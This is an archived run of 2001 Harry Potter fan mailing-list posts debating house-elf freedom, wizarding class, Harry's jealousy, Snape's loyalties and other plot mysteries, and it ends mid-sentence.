Subject: Harry Potter Movie Soundtrack
In-Reply-To: <9oqiar+ltul@eGroups.com>
Message-ID: <9oqjdq+nq19@eGroups.com>

No: HPFGUIDX 26695

Considering it was two months ago, I can't remember what site.  But I 
thought it was on John Williams site itself.  I am pretty sure I used 
a link from one of the news media sites, probably even yahoo itself.

Regardless, I am not posting it.  I don't want to discuss it anymore 
because I'm afraid I'll start getting more emails from the mods and 
list-elves here.

I'm sorry I ever brought it up.

--- In HPforGrownups at y..., "Steve Vander Ark" <vderark at b...> wrote:
> --- In HPforGrownups at y..., borg3892000 at y... wrote:
> > I don't believe this one was from that concert.  The date I 
> > downloaded it on 8/7, (7 weeks ago), and I got it from an 
official 
> > site.
> 
> Which official site? There IS no official John Williams site, 
> although Sony Classical does have a page for him. The site Hedwig's 
> Theme was posted on back in August was NOT official, although it 
> looks very slick and professional. In fact, the site where it was 
> found has now removed the file with no explanation. That certainly 
> sounds fishy, and until we hear otherwise, we have no choice but to 
> err on the side of caution. 
> 
> Steve Vander Ark
> The Harry Potter Lexicon
> http://www.i2k.com/~svderark/lexicon




From avatar7 at uole.com.ve  Tue Sep 25 18:52:20 2001
From: avatar7 at uole.com.ve (Juan Carlos De La Cruz)
Date: Tue, 25 Sep 2001 14:52:20 -0400
Subject: [HPforGrownups] Re: Harry Potter Movie Soundtrack
In-Reply-To: <9opj0a+4uvg@eGroups.com>
References: <9opj0a+4uvg@eGroups.com>
Message-ID: <01092514522003.04117@sysop>

No: HPFGUIDX 26696

On Date Tuesday 25 September 2001 05:32, You Wrote:
> > Some Tull tunes would fit in very well, though. Just imagine
>
> Haggrid singing
>
> > "Let me bring you Songs from the Wood......"
>
> ...and all the old-timers singing "Let's go living in the Past..."!
>
> Oh, dear, better stop before I start thinking of appropriate Abba
> songs...

I would DEFINITELY LOVE that!! :) Even better, performed by ERASURE (As in 
their "Abba-Esque" Album!).


------------------------------
Juan Carlos De La Cruz.
DeGoPro.com General Manager.
SysOp.Tech and Op Dept.
IFX Networks Venezuela

Profesionnal Musician and Composer.
Proud Hogwarts student at Ravenclaw.

"Ah, music," Dumbledore said, wiping his eyes.  "A magic beyond all we do
here!"
          -HP and the Sorcerer's Stone



From rowena_grunnion_ffitch at yahoo.com  Tue Sep 25 18:59:18 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
Date: Tue, 25 Sep 2001 11:59:18 -0700 (PDT)
Subject: [HPforGrownups] Re: Wizarding Caste System [was: In Defense of  Hermione]
In-Reply-To: <3BB0BA8F.2CE3B440@erols.com>
Message-ID: <20010925185918.11060.qmail@web20804.mail.yahoo.com>

No: HPFGUIDX 26697



--- Margaret Dean <margdean at erols.com> wrote:

> Actually, what makes that suggestion absurd (or
> another reason it
> does so) is that it reduces a very complex
> relationship to the
> merely economic level . . . which is a =reductio ad
> absurdum= if
> I ever heard one.

   It certainly is. 
 
> The real issue with the house-elves isn't wages at
> all, but
> freedom of choice,

    I agree. It would seem to be a fact that most
House-elves are quite content with their lot.
*However* there should definitely be an out for those
like Dobby in abusive situations, other than getting a
dirty sock thrown at them.

 and I think once Hermione
> realizes this, her
> house-elf liberation movement will be on much firmer
ground. 
> Hermione needs to exercise her personal strengths
> and =research=
> the problem.  Not only does she have the house-elves
> themselves
> to talk to, there must be documentation on their
> history and how
> they've interacted with the wizarding world in the
> past.
> 
> C'mon, Hermione, hit the books.  You know how . . . 
> ;)

    More agreement here. Moral indignation and self
righteousness may be very satisfying emotions but
unless allied with *though* and *knowledge* achieve
nothing.    

__________________________________________________
Do You Yahoo!?
Get email alerts & NEW webcam video instant messaging with Yahoo! Messenger. http://im.yahoo.com



From cynthiaanncoe at home.com  Tue Sep 25 19:40:53 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 25 Sep 2001 19:40:53 -0000
Subject: In defense of the Working Class
In-Reply-To: <20010925184200.23312.qmail@web20803.mail.yahoo.com>
Message-ID: <9oqmk5+tjto@eGroups.com>

No: HPFGUIDX 26698

--- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
<rowena_grunnion_ffitch at y...> wrote:
>     In all justice to the Wizarding World the Malfoys
> are the only denizens thereof to exibit snobbish
> classism.
>    At Hogwarts the gamekeeper eats at the high table
> along with the teachers, (and probably the custodian
> too if he likes). Cornelius Fudge has no problem
> sharing a drink with Hagrid and readily invites Madame
> Rosmerta to join them. Nor does she hesitate to
> complain to the minister about dementors driving away
> her business. Fudge may be overly impressed by old
> wealth and 'pure blood' but he doesn't seem to look
> down on working class wizards, nor does anybody else
> except, predictably, the Malfoys.
> 

I don't know if I'd give Fudge that much credit for not being a 
snob.  He's a politician, and successful ones make everyone feel like 
they are a long lost relation.  So he hears Rosmerta's objections and 
clucks sympathetically, but the dementors do not get removed.  As far 
as his willingness to sit down and chat up the barkeep, well, that 
could just be good PR.  Life is just one long campaign, no?

I would need more proof to say that there isn't a class system at 
Hogwarts.  Yes, Hagrid dines at the staff table (I think that is what 
they call it), but we know that Dumbledore would trust his life to 
Hagrid, so I assume this seating arrangement could be a result of 
that personal relationship.  There's no proof that Filch gets invited 
to anything, although we don't know why this is.

Also, many of the students (not just Malfoy, if I recall correctly) 
are prepared to look down on Lupin just because of his shabby robes.  
Or, at least, they are said to view Lupin with increased respect due 
to his classroom performance.

Interesting discussion.

Cindy (who sometimes wonders why a talented wizard like Lupin doesn't 
learn a mending charm to fix up his robes, as there surely must be 
one, because first impressions are important when you are an 
unemployed werewolf)  




From keegan at mcn.org  Tue Sep 25 19:42:59 2001
From: keegan at mcn.org (Catherine Keegan)
Date: Tue, 25 Sep 2001 12:42:59 -0700
Subject: [HPforGrownups] In defense of the Working Class, was Re:
  Work after Hogwarts?
In-Reply-To: <9oqbq4+ca4a@eGroups.com>
References: <4.2.0.58.20010921085021.00abe4a0@mail.mcn.org>
Message-ID: <4.2.0.58.20010925122746.00a5f300@mail.mcn.org>

No: HPFGUIDX 26699

At 04:36 PM 9/25/01 +0000, Joy witch wrote:
>--- In HPforGrownups at y..., Catherine Keegan <keegan at m...> wrote:
>an excellent post on employment opportunities for wizards. (thanks,
>Catherine)
>
>However, I have one small disagreement.
>
> > Knight Bus is an alternate form of transportation (and, it seems,
>where the > students who flunk out of Hogwarts go for jobs...).
>
>Many, many people have expressed the opinion that certain HP
>characters such as Stan Shunpike, Ernie Prang, Rosmerta, and perhaps
>others must have flunked out of Hogwarts or been educated elsewhere,
>or not at all.

>I think it is completely unfair to assume that because someone has a
>working class job that they are somehow stupid, uneducated, or
>ineducable.

Coming from a very blue collar background, I don't have that opinion at 
all!  My dad was a plasterer and was a math wizard.  My mom worked in the 
showrooms for years as a waitress and as captain and she is definitely not 
dumb.  Heck, I've worked with some incredibly stupid (or perhaps 
stooooopid) programmers over the years who had at the very least a four 
year degree.

I thought that I was perhaps a bit harsh on the bus drivers so I listened 
to that part while driving back from Santa Rosa yesterday.  I dunno.  I 
still think they're none too bright.  Not stupid but not the kind of folks 
who would get the prime jobs out there.  The description of objects jumping 
out of the way of the bus made me wonder if there were any driving tests 
for that job...

However, (some LOON please chime in here!) there is some mention that if 
you don't get a certain amount of OWLS or decent enough grades, you don't 
continue.  Maybe ol' Stan or Ernie did complete all 7 years but maybe 
not.  Maybe they couldn't afford to attend.  I never did figure out whether 
Hogwarts was publicly funded or you had to pay to send your children.  The 
school robes reminded me of my days in parochial school where you paid a 
lot to have your kids sent there.

>Rosmerta works in a pub in Hogsmeade whose name I've
>forgotten which some LOON will no doubt remind me of.  I believe it
>is also implied that she owns the pub, although I could be making
>that up.  Owning your own business, no matter how small or mundane,
>is no easy task.  You have to have a basic understanding of
>accounting, management, and customer service. Rosmerta would also
>have to have some knowledge of cooking, bartending, and how to
>control crowds of rowdy, drunk wizards and drunk, inexperienced
>students wizards.

OK! OK! I agree.  The Three Broomsticks is the name of the pub IIRC.

I won't join the WOWWW but I won't cross your picket line, either.  ;-)

Catherine from CA who grew up in a the very Union Las Vegas, NV



From catherine at cator-manor.demon.co.uk  Tue Sep 25 20:05:32 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Tue, 25 Sep 2001 20:05:32 -0000
Subject: Angry Harry/ Strife
In-Reply-To: <F676hNo6j3wsGSaVkpC000089d5@hotmail.com>
Message-ID: <9oqo2c+r7bv@eGroups.com>

No: HPFGUIDX 26700

--- In HPforGrownups at y..., "Amber ?" <inviziblegirl at h...> wrote:
> 
> >From: catherine at c...
> >--- In HPforGrownups at y..., "Amber ?" <inviziblegirl at h...> wrote:
I suppose when I said that JKR could emphasize Harry's 
> feelings of jealousy for Ron's family, I was kinda reaching. 

No, I think that you were right in a way - he probably is envious in 
some degree.  I have to take on board what you and Luke have said.  
Perhaps I should have given reasons for why Harry *shouldn't* feel 
jealous instead of reasons why he *isn't* jealous.  I do still think 
that it is an emotion that I don't think of when I think of Harry, 
but I'm prepared to be wrong.  I am sure, however, that if he is 
jealous, he doesn't let him affect in the way Ron does - a matter of 
self-control?

One other thing about this struck me.  Would Harry trade places with 
Ron if he had the chance?  He must be very comfortable with his 
position with the Weasleys generally - I am still not sure how this 
would change if he and Ron were no longer friends.  I am hoping that 
I never have to find out, but that if I did, he would be still 
regarded as important to them.  Family loyalty v. loyalty to a friend?
I hope that doesn't happen - it would be nasty.  

So, would Harry trade places? (sorry, I sidetracked there).   Well, 
Harry hates living with the Dursleys, he is not happy about being 
famous, he obviously doesn't like his connection with Voldemort and 
all it entails, he misses having a family of his own, but I do think, 
that despite all of this, he wouldn't trade if he had the 
opportunity.  I can't back this up at the moment, so it is just a 
hunch, but I've been thinking about everything else Harry does have.  
Not only does he have the Weasleys, he has Hermione, he has Hagrid, 
he has Sirius.  He is developing into a very talented wizard, who has 
immense strength of mind, and he is great at Quidditch.  Looking at 
the above, I could add to Amber's list below:

Amber wrote:
> Let me see, when has Harry gotten really upset/angry?
> 
> 1)When Aunt Marge insulted his parents.
> 2)When he found out that Sirius Black was his parents' good friend 
and 
> betrayed them.
> 3)I suppose the Firebolt incident could be included, although I 
can't recall 
> how upset Harry actually was.
> 4)When Ron didn't believe that he hadn't put his name into the 
Goblet.

I, personally, wouldn't include the Firebolt incident, because he 
knew that Hermione had his very best interests at heart, and I think 
that he was egged on into not talking to Hermione by Ron.  

I would add:

He was very angry with Tom Riddle - not only for trying to kill 
Ginny, but for framing Hagrid.  His anger also brought out his 
loyalty to Dumbledore.

He was absolutely furious with Snape for being nasty about James.

He has lost his temper with Draco variously, but in particular for 
hexing Hermione (the teeth incident) and because of insults to Hagrid.

He was angry with Rita Skeeter - not so much because of what she said 
about him, but because of what she said about Hagrid.

There are probably others, but these illustrate the point I am trying 
to make:

> It seems that family is a touchy point with Harry. 

Yes, it is.  He has a very strong sense of family loyalty.  He is 
angry that his parents were taken away from him, and is very 
protective of their reputations (see conversations with Voldemort, 
Snape et al).  He is probably very angry that he is currently being 
deprived of his godfather.  But, it goes further than this.  It isn't 
just his family, it is what has become his extended family.  He is 
intensely loyal to those people who love him and to those who have 
tried, in whatever way appropriate, to fill the gap that was created 
by his parents' death and his neglect at the hands of the Dursleys.  
So, therefore, anyone criticising or trying to hurt the Weasleys, or 
any of the above will raise his ire.

So I guess that what I am trying to say is that one of Harry's main 
characteristics for me is his loyalty.  One thing he never had prior 
to his eleventh birthday was people around him who loved him, cared 
for him, *liked* him, even.  I think he is very appreciative of this, 
which is why I think that it keeps in check any feelings he may have 
about what others have.  Afterall, he has gone from having nothing at 
all, to having quite a lot.

Catherine, who finds it very funny and ironic that this whole Harry 
discussion has been sparked off by Amber, who is self-confessedly 
*not* Harry's greatest fan!




From foxmoth at qnet.com  Tue Sep 25 20:00:18 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Tue, 25 Sep 2001 20:00:18 -0000
Subject: Wizarding Caste System [was: In Defense of  Hermione]
In-Reply-To: <20010925185918.11060.qmail@web20804.mail.yahoo.com>
Message-ID: <9oqnoi+kont@eGroups.com>

No: HPFGUIDX 26701

--- In HPforGrownups at y..., Rowena Grunnion-Ffitch 
<rowena_grunnion_ffitch at y...> wrote:

>Moral indignation and self
> righteousness may be very satisfying emotions but
> unless allied with *though* and *knowledge* achieve
> nothing.    
> 

Hear Hear! 

borg3892000 wrote

It's a bit different with a house wife.  If the husband paid the 
house wife and provided time-off and a pension, does that mean 
that the husband is the boss?  That would suggest that 
everything is actually owned by the husband, and the wife can be 
given clothes...er, I mean fired.

and Rowena wrote

>      Others on the list have already pointed out the
> absurdity of turning a wife into her husband's
> employee, (so much for equal partnership) the only
> alternative is state subsidized stay at home Moms
> which in turn would lead to state regulation of
> housekeeping and child raising.

Margaret Dean wrote:
Actually, what makes that suggestion absurd (or another reason 
it
does so) is that it reduces a very complex relationship to the
merely economic level . . . which is a =reductio ad absurdum= if
I ever heard one.

	That's my point.  Winky's case clearly shows that House Elves 
also  form emotional and spiritual bonds with their wizard 
families which are very important to them.  Putting things on a 
cash basis will disrupt that, just as it would in marriage.
	  It  wasn't too long ago that wives  were considered chattel also:
vowed to obey, disenfranchised, forbidden to inherit property or 
dispose of it without their husbands' permission,and "clothes", I 
mean divorce, was regarded as the ultimate disgrace. Those 
were legal and social practices not in some reactionary 
dictatorship  but in the USA and the British Isles. Things have 
changed.
	Perhaps  the House Elf/wizard relationship will evolve in a 
similar direction, one in which the partnership becomes more 
equal, without  putting it on an employee/employer basis?
		
Pippin, who would like to see Hermione think outside the box.




From macloudt at yahoo.co.uk  Tue Sep 25 21:03:04 2001
From: macloudt at yahoo.co.uk (macloudt at yahoo.co.uk)
Date: Tue, 25 Sep 2001 21:03:04 -0000
Subject: In defense of the Working Class/Pecking Order
In-Reply-To: <9oqife+10rk1@eGroups.com>
Message-ID: <9oqre8+9b3e@eGroups.com>

No: HPFGUIDX 26702

> Cindy (wondering why Filch would want to be dead last in the 
pecking 
> order than take his chances in the Muggle world)

Good point about Filch.  What *is* he doing in the wizarding world, 
especially at Hogwarts?  It seems to me that he is desparately hoping 
to learn some wizarding skills.  In GoF he is taking the learn-at-
home course (LOONs help me out please!), and his mere presence in 
Hogwarts makes me think his one determination in life is to gain even 
the merest of wizarding skills.

My thinking is that Filch is deeply embarrassed about his Squib 
status.  We don't know about his background; who knows, perhaps he 
comes from a great wizard family, and he is the outcast.  But darned 
if he'll admit defeat by taking his chances in the Muggle world.

So his horrendous attitude towards students could rest on 2 points:  
jealousy of the students' magical abilities, and possibly *fear* of 
the students' abilities.  By having his reputation precede him he 
knows he needn't worry about a student hexing him, and having no way 
to retaliate.

One question, though:  is *Mrs. Norris* magical in any way?

Mary Ann :)




From j.franklin at mail.utexas.edu  Tue Sep 25 21:06:16 2001
From: j.franklin at mail.utexas.edu (j.franklin at mail.utexas.edu)
Date: Tue, 25 Sep 2001 21:06:16 -0000
Subject: Angry Harry/ Strife
In-Reply-To: <F676hNo6j3wsGSaVkpC000089d5@hotmail.com>
Message-ID: <9oqrk8+ab2j@eGroups.com>

No: HPFGUIDX 26703

--- In HPforGrownups at y..., "Amber ?" <inviziblegirl at h...> wrote:
> 2)When he found out that Sirius Black was his parents' good friend 
and 
> betrayed them.
> Hm, I can't think of anything else but I'm at work, away from my 
books. I'm 
> sure others will add to my list!
> 
> I suppose the "Farmer In The Dell" theory would work well to put 
the Trio at 
> odds. I must admit, I'm not as fond of this ideas as others are.
> 
> Someone, help me! What could Hermione or Ron do to plausibly get 
Harry 
> really upset?
> 
> ~Amber, She of Limited Memory and Intelligence...

Hey Amber,

I was thinking about your question and I came up with a few possible 
ideas (although admittedly not good ones).

1.  Maybe Ron or Hermione could betray Harry perhaps accidently, but 
it could trigger the memory of the betrayal that lead to his parents' 
death.  

2.  Also maybe they could end the friendship without a big fight.  
For example,  I was thinking that Harry could probably be pretty 
moody and depressed.  Maybe he pushes his friends away and they all 
slowly drift apart?  

I know these ideas are pretty pitiful but I thougth they might 
trigger somebody else.

J.





From magpie1112 at yahoo.com  Tue Sep 25 21:38:09 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Tue, 25 Sep 2001 21:38:09 -0000
Subject: Opinions on Ten Big Mysteries
In-Reply-To: <9o8hft+vhlg@eGroups.com>
Message-ID: <9oqtg1+16al@eGroups.com>

No: HPFGUIDX 26704

I've been fighting with my new DSL line, so I haven't been able to 
post.  Thanks to Laura, I'll use her terrific 10 to share my latest 2 
cents....

--- In HPforGrownups at y..., justanopinion2001 at h... wrote:
> 1.  Is Snape a vampire, half-vampire, or just a wizard?

I think that he's just a wizard.  His shady, sneaky ways are just a 
way that JKR uses to show us that he's a teacher that isn't exactly 
likeable.  The rest, IMHO, is herring-ville.


> 2.  Among Snape, Bagman, Karkarov and Fudge, who are Death Eaters, 
> and which DE is too cowardly to return and which DE has left 
forever?

Snape and Karkarov are DE's.  I think that Karkarov has run and hid - 
though he may re-join if found (in order to save his own skin).  At 
the end of GoF it seems as though Snape is gonna play double-agent; 
he'll definitely be putting his life on the line.  It will be 
interesting to see if Voldy buys his re-conversion, or if V takes in 
Snape as a "keep your friends close, your enemies closer" tactic.  

Bagman may or may not be a DE - I haven't firmed up my opinion yet.  
Voldy may have given Bagman a role as a DE as an ego-stroke (and 
goodness knows Bagman isn't exactly bright enough to see past empty 
flattery).

Fudge will be the one to watch.  He is so tied to rules and points of 
law that he could easily be swayed by promises of order and 
regulation in Voldy's camp (sorta like the old Lawful Evil for you 
former D&D'ers out there).  Big question: will Fudge stick to the 
familiarity of order, or fight for right?


> 3.  In PoA, was Lupin simply sleeping on the train, or did 
Dumbledore ask him to take the train to protect Harry?

I've always thought that Lupin was just catching a cheap (or free) 
ride to his next job.  But that sneakoscope sure did cause a fuss.  I 
could be persuaded either way.  It could be that Lupin himself was 
watching over Harry, since Harry is his good friend's son.


> 4.  How many students are at Hogwarts?

approx. 1000 - I'll obey JKR on that one.


> 5.  Does Snape really want the DADA job?

Nope.  I thought he did, but when I re-read everything I think he 
just had a bone to pick with each teacher:

a)  Quirrell was acting odd;
b)  Lockhart was a pompous blowhard;
c)  Lupin stirred up old school hatreds and jealousies;
d)  Moody was a known nutbag

I think Snape is awfully proud of his personal accomplishments in 
potions, and that is where he will stay.


> 6.  Does Trelawney have any predictive powers aside from the two 
> correct predictions Dumbledore acknowledges?

None that she can tap.  Unfortunately, she believes that the 
predictions she makes while fully conscious are accurate.  But they 
are pure bunk (or pure luck).  I think we'll see/hear more accurate 
predictions from Trelawney, but they'll be more of the same trance-
like predictions.  She just can't harness her power, poor thing.


> 7.  In GoF, why is Wormtail performing magic with Voldemort's wand, 
> and does Wormtail still have his own wand?

Pettigrew uses Voldy's wand because his was lost after the "big bang" 
that landed Sirius in Azkaban.  I have a feeling that Pettigrew will 
have to fend for himself, wand-wise, now that Voldy is more himself.  
I don't exactly see Voldy as the type who shares, do you?


> 8.  Are you convinced that you cannot apparate on the Hogwarts 
> grounds, or is this a red herring?

I think that most wizards and witches cannot apparate into/around 
Hogwarts.  I think that if you know the charms and protective spells 
that surround the grounds, and how to get around them, you'd have no 
trouble getting in/out or around.  And I have a feeling that there 
are other types of spells besides apparation that can get you about; 
we may yet see Voldy appear on Hogwarts grounds in later books.  

> 9.  Why don't Fred, George or Harry see or notice Pettigrew on the 
> Marauder's Map?

Because the Marauder's Map only shows you impediments to mischief-
making.  Or, if you are choosing to use the Map for a reason other 
than its "intended purpose", it shows you only what you need to see 
in order to do whatever it is you are going to do.  Otherwise, there 
could be up to 1000+ "dots" at any given time.  

Or at least all the lower year students would have been shown on the 
MM when Harry snuck out to Hogsmeade.  So I'm betting that the Map 
shows you only what you think you need to see at any particular time.


> 10.  In what order and by whom are James, Lily and Harry attacked?

James, Lily, then Harry were killed by Lord Voldemort.  Voldy 
obviously needed to kill the male Potters, and Lily just happened to 
be in the wrong place at the wrong time (for all the right reasons, 
of course).


I'm typing like a maniac in the hopes my DSL line will actually allow 
me to post.  All typos are unintentional and will be obsessed over at 
a later date.

- Denise (who seems to have an opinion about everything)




From catherine at cator-manor.demon.co.uk  Tue Sep 25 22:22:11 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Tue, 25 Sep 2001 22:22:11 -0000
Subject: Squib/Muggleborn theory
Message-ID: <9or02j+27vk@eGroups.com>

No: HPFGUIDX 26705

A thought struck me.  I was thinking about the fact that we know 
someone will come to magic later in life, and we were thinking that 
it could be one of the Dursleys.  

I was also thinking about the fact that Lily and James lived in 
Godric's Hollow, and therefore people have speculated that James 
Potter may be a descendent of Godric Gryffindor.  It is of course 
possible that their house their was lent to them by someone such as 
Dumbledore, but I digress...

What I was wondering was - perhaps it is Lily who is the descended 
from Gryffindor.  It is entirely possible - Lily's parents could have 
been descended from a squib which appeared in the Gryffindor family 
etc - and Lily is a throwback to the time when her family were 
magical.  In fact, couldn't all muggle born wizards/witches have 
originally come from magical families, but are actually born from 
squibs/descendents of squibs.  Is this genetically possible?  It 
would explain why magical children suddenly appear in a long line of 
non-magical ancestors.

Taking this further, with Lily - if she is the descendent of GG, and 
not James Potter, and the reason that Voldemort wants to kill Harry 
is because of some prophecy about his defeat at the hands of GG's 
descendent, then that means that Dudley Dursley is also his 
descendent and it might be him who is supposed to defeat Voldemort, 
not Harry.  Voldemort might only have known about the fact that Harry 
was one of GG's descendents, assumed it was passed to him on James 
Potter's side, and totally discounted Lily's family.

I'm only having a bit of fun here, but you have to admit - it is 
possible.

Catherine




From pbnesbit at msn.com  Tue Sep 25 22:27:40 2001
From: pbnesbit at msn.com (pbnesbit at msn.com)
Date: Tue, 25 Sep 2001 22:27:40 -0000
Subject: some thoughts about the Ghosts
In-Reply-To: <9oqiim+auo1@eGroups.com>
Message-ID: <9or0cs+gjou@eGroups.com>

No: HPFGUIDX 26706

--- In HPforGrownups at y..., "Neil Ward" <neilward at d...> wrote:

(Extremely large snip)
> 
> I can't recall now, without referring to the books, if any of the 
> House ghosts have referred to "their time" at Hogwarts, in the 
sense 
> of having been there in life.  I have a vague idea that Nick does 
> make such a reference.  C'mon L.O.O.N.s ? do your worst!
> 
> Neil/Flying Ford Anglia
> 
> ________________
> 
> PS: Any takers for H.O.W.L.![Hands Off Werewolf Lupin!]?

It's the Fat Friar, not Nick.  PS, UK ed., pg. 87.  'Hope to see you 
in Hufflepuff!' said the Friar. 'My old house you know.'  So we know 
at least one of them was there.  

I like H.O.W.L.!, by the way. 

Peace & Plenty, 

Parker 




From jeremy_t_williams at hotmail.com  Tue Sep 25 22:51:45 2001
From: jeremy_t_williams at hotmail.com (jeremy_t_williams at hotmail.com)
Date: Tue, 25 Sep 2001 22:51:45 -0000
Subject: Opinions on Ten Big Mysteries
In-Reply-To: <9oqtg1+16al@eGroups.com>
Message-ID: <9or1q1+ee4l@eGroups.com>

No: HPFGUIDX 26707

> > 10.  In what order and by whom are James, Lily and Harry attacked?
> 
> James, Lily, then Harry were killed by Lord Voldemort.

Can't be in that order.  The "prio incontartum" which occurred when 
Voldemort and Harry dueled, every spell that Voldemort's wand 
performed started to come out.  We saw the "Cruciartus" curse which 
hit Harry, then the arm generated for Wormtail, Cedric, James, then 
Lily.  If this is correct then that means not only was Lily killed 
before James, but Harry was struck first (since that spell did not 
come out of the wand).  In which case, if it was Voldemort's failure 
to kill Harry that caused his own downfall, then someone else killed 
Lily and James with Voldemort's wand.




From caliburncy at yahoo.com  Tue Sep 25 23:13:06 2001
From: caliburncy at yahoo.com (caliburncy at yahoo.com)
Date: Tue, 25 Sep 2001 23:13:06 -0000
Subject: Opinions on Ten Big Mysteries
In-Reply-To: <9or1q1+ee4l@eGroups.com>
Message-ID: <9or322+a052@eGroups.com>

No: HPFGUIDX 26708

--- In HPforGrownups at y..., jeremy_t_williams at h... wrote:
> > > 10.  In what order and by whom are James, Lily and Harry 
attacked?
> > 
> > James, Lily, then Harry were killed by Lord Voldemort.
> 
> Can't be in that order.  <snip explanation>

Actually, the explanation you provided is the result of an error in 
the first editions of GOF that were printed.  If you check our VFAQ 
and then find the entry on this, there are links to the original text 
and the corrected text so you can see the differences:

http://groups.yahoo.com/group/HPforGrownups/files/Admin%20Files/VFAQ.h
tm

Note: As with all links here, you may need to cut and paste it back 
together, if it gets chopped into two pieces because of length.

-Luke




From usergoogol at yahoo.com  Tue Sep 25 23:29:04 2001
From: usergoogol at yahoo.com (usergoogol at yahoo.com)
Date: Tue, 25 Sep 2001 23:29:04 -0000
Subject: Lupin living at Godric's Hollow?
Message-ID: <9or400+tuca@eGroups.com>

No: HPFGUIDX 26709

Its a possibility. I really can't recall if the Potter's house remained intact after the attack, (it makes sense,) but lets be honest. Someone had to get it. Although Sirius would be a lovely person to inherit the house, he was tied up after the Potters' died. So who'd be good to live in the house? Well, what about a guy who is also a good old friend of the Potters, and he also probably has a problem keeping a job long enough to buy a house?

I love the idea. I think it could have quite a bit of opportunity, because if Harry heads to his parents' old house, well, that might be an interesting scene.

I want to type more, because I don't want to post so small a topic, (interesting though) so here's a lovely drawing of the Burrow.

www.geocities.com/andrewbirch9969/potter.htm

It's very snazzy. (unless I typed in the website wrong. In which case, we all will die! j/k)




From find_the.rivier at ntlworld.com  Tue Sep 25 23:46:14 2001
From: find_the.rivier at ntlworld.com (find_the.rivier at ntlworld.com)
Date: Tue, 25 Sep 2001 23:46:14 -0000
Subject: Angry Harry/ Strife... and also re: Mirror of Erised
In-Reply-To: <9oqrk8+ab2j@eGroups.com>
Message-ID: <9or506+9qcg@eGroups.com>

No: HPFGUIDX 26710

Harry and jealousy: the green-eyed monster... oooh, now there's a 
thought...  

Back in CoS, Chapter 5, Harry's brooding as the summer holiday comes 
to an end.  "...his month at the Burrow had been the happiest of his 
life.  It was difficult not to feel jealous of Ron when he thought of 
the Dursleys and the sort of welcome he could expect next time he 
turned up in Privet Drive."   

So Harry is either superhuman at 12, in terms of controlling his 
emotions, or he _does_ feel jealousy, albeit sporadic and hidden 
(from a 'lifetime' of keeping his feelings to himself and lacking 
anyone to share them with).  He is emotionally controlled, even 
constrained: his jealousy doesn't tend to upset his canoe (and would 
he be a happier bunny if it did?).  

Ron lets jealousy swamp him, but that again makes sense in the 
context of his 'lifetime' of emotional candour.  When he's not 
thinking in the chess arena, Ron is a far more emotionally reactive 
creature than either Hermione or, especially, Harry.  Quick to anger, 
quick to shake off the bad mood, most of the time.  I wonder, if 
Harry's own pride and bitterness hadn't kept him back, how would Ron 
have reacted if Harry had walked up to him the morning after the cup 
ceremony and forced him to talk it out?  a pair of bloody noses 
later, it would all have been history and Harry wouldn't have had his 
month of misery.  (Ron either.  But for some reason, I see it as 
Harry's place rather than Ron's to have made that move.  Is this 
simply because I'm an abject admirer of his red-headed Ronnishness?  
I'd love someone to give me a valid reason for putting the onus on 
Harry.)

Sure, Harry gets 'special' treatment from all the Weasleys.  They're 
generous spirits, who recognise that rich, marvellous, world-saving, 
evil-squishing Harry needs help more than they do.  Whether it's 
driving or Flooing to the rescue, giving him the Marauders' Map, or 
knitting him the (marginally) more tasteful jumpers.  They can afford 
to, because they have the unshakeable fall-back of all-encompassing 
family love for each other - the love that enables older siblings to 
mercilessly twit the younger ones, or a mother to give her child a 
furious dressing-down when he gets into trouble... 'cause when the 
chips are down, if anyone outside the family unit tried to do the 
same, they'd have the whole pack to answer to.  (Such is my, ahem, 
experience!)

I think this is why the contrast continues to be pointed up, between 
Harry's fiscal wealth and the Weasley's fiscal poverty.  Harry yearns 
to give them what he has an abundance of, but can't - because he's 
not really family, and because he believes they would be offended.  
He can pass on the Triwizard blood money, since making a gift of it 
to the twins is probably the only way it can be redeemed from the 
tainted manner of its acquisition.  In contrast, the Weasleys have a 
wealth of unconditional love, spontaneous emotion, and no constraint 
about lavishing it on Harry.  And it will still never be quite as 
good as the real thing for him, like Luke noted before, because 
Voldemort has deprived him of the 'real' love of parents and 
siblings.  

One of the overall characteristics of the Weasleys is that they're 
generally WYSIWYG - they live as they feel, including affection, 
exuberance, and temper.  Mrs Weasley's hellfire reactions to her 
offsprings' misdemeanours are one example of this.  When she tries to 
comfort Harry in GoF, and he can't quite give in to the solace that 
would afford, it suggests that no matter how much the Weasleys en 
masse offer Harry the same unconditional family emotional 3-D 
experience as their own flesh and blood, Harry himself can't give in 
to it.  He brings the weather with him, if you like, and (again, Luke 
kind of put this less ramblingly before) I think he is more likely to 
be the architect of his own misfortune, by believing or feeling he 
has valid reason for his jealousy, when he is the only one denying 
himself. 

So...

> Hey Amber,
> 
> I was thinking about your question and I came up with a few 
possible ideas (although admittedly not good ones).
> 
> 1.  Maybe Ron or Hermione could betray Harry perhaps accidently, 
but it could trigger the memory of the betrayal that lead to his 
parents' death.  
> 
> 2.  Also maybe they could end the friendship without a big fight.  
> For example,  I was thinking that Harry could probably be pretty 
> moody and depressed.  Maybe he pushes his friends away and they all 
> slowly drift apart?  
> 
Knuts to knickers I'll bet that the biggest betrayal for Harry would 
be if his surrogate closest family, in the shape of Ron and Hermione, 
became involved romantically with each other - mutually closing him 
out of a deeper level of emotional engagement, and so preventing him 
from securing the same kind of bond with either of them.  It would be 
pretty terrible for Harry, wouldn't it?  For that amongst other 
reasons, I sincerely hope it doesn't happen - but if JKR wants to put 
us all through the mill-race, then she'll get Ron and Hermione to 
fall in love with each other, and leave poor Harry out there, once 
again in second place, and see what that does to his emotional self-
control... at fifteen or sixteen, ye gods...

Re: Mirror of Erised.  Had this thought in the bath last night.  When 
Hagrid gets Harry the photo album, Harry doesn't open it and think Oo-
er, these pictures don't look anything like that bunch of weirdoes I 
saw in the Mirror...  Methinks the images he sees in Erised are the 
real thing.  (So who is the missing grandfather?)  Me also thinks we 
will all see Ron holding the House Cup, the Quidditch Cup, the F.A. 
Cup and eveything else by the end of book 7.  Yepster, colour me 
